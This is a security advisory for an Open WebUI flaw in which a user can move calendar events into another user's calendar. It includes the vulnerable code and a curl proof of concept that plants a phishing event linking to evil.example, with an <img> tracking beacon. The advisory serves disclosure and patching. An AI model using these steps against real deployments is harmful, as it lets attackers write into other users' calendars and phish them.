VDB
KO
MEDIUM 4.3

GHSA-f3g7-59qc-pqg6

Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar

Details

### Summary

`POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally.

A regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`.

### Details ### Sink — missing destination check

`backend/open_webui/routers/calendar.py:283-297`

```python @router.post('/events/{event_id}/update', response_model=CalendarEventModel) async def update_event( request: Request, event_id: str, form_data: CalendarEventUpdateForm, user: UserModel = Depends(get_verified_user) ): await check_calendar_permission(request, user) event = await CalendarEvents.get_event_by_id(event_id) if not event: raise HTTPException(status_code=404, detail='Event not found')

await _check_calendar_access(event.calendar_id, user, 'write') # ← SOURCE only

updated = await CalendarEvents.update_event_by_id(event_id, form_data) # ← writes form_data.calendar_id ... ```

`backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`)

```python update_data = form_data.model_dump(exclude_unset=True) for field in [ 'calendar_id', # ← destination persisted with no ACL 'title', 'description', 'start_at', 'end_at', 'all_day', 'rrule', 'color', 'location', 'is_cancelled', ]: if field in update_data: setattr(event, field, update_data[field]) ```

### Reference — `create_event` does check the destination

`backend/open_webui/routers/calendar.py:255`

```python await _check_calendar_access(form_data.calendar_id, user, 'write') ```

### Default-config gates (both `True`)

- `backend/open_webui/config.py:1658-1662` — `ENABLE_CALENDAR` defaults `'True'` - `backend/open_webui/config.py:1554` — `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `'True'` - `backend/open_webui/main.py:1457` — router mounted unconditionally

### PoC Verified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts.

#### 1. Environment

```bash git clone https://github.com/open-webui/open-webui.git cd open-webui && docker compose up -d # http://localhost:3000 ```

Create the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`.

#### 2. Obtain the victim's `calendar_id`

Calendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via:

- **Read-only share** — victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`. - **Event invitation** — victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`. - Any side-channel (logs, screenshots, browser history).

For reproduction the maintainer can simply read it as the victim:

```bash VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])') ```

#### 3. Control — direct create is correctly blocked

```bash curl -s -o /dev/null -w '%{http_code}\n' \ -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" # → 403 ```

#### 4. Exploit — create-then-reparent

```bash ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \ -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \ -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}" # → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>" ```

#### 5. Verification from victim's session

```bash curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \ -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool ```

Observed output (truncated):

```json [{ "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0", "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb", "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5", "title": "[INJECTED] Mandatory re-auth: https://evil.example/login", "description": "Session expired.", ... }] ```

The injected event now lives in the victim's default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** — confirming the move succeeded and the attacker has no legitimate access to the destination.

### Impact - **Read-only → write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write. - **Phishing / social engineering**: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 → common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `<img>` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).

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Affected packages

PyPI / open-webui
Introduced in: 0 Fixed in: 0.9.6
Fix pip install --upgrade 'open-webui>=0.9.6'

References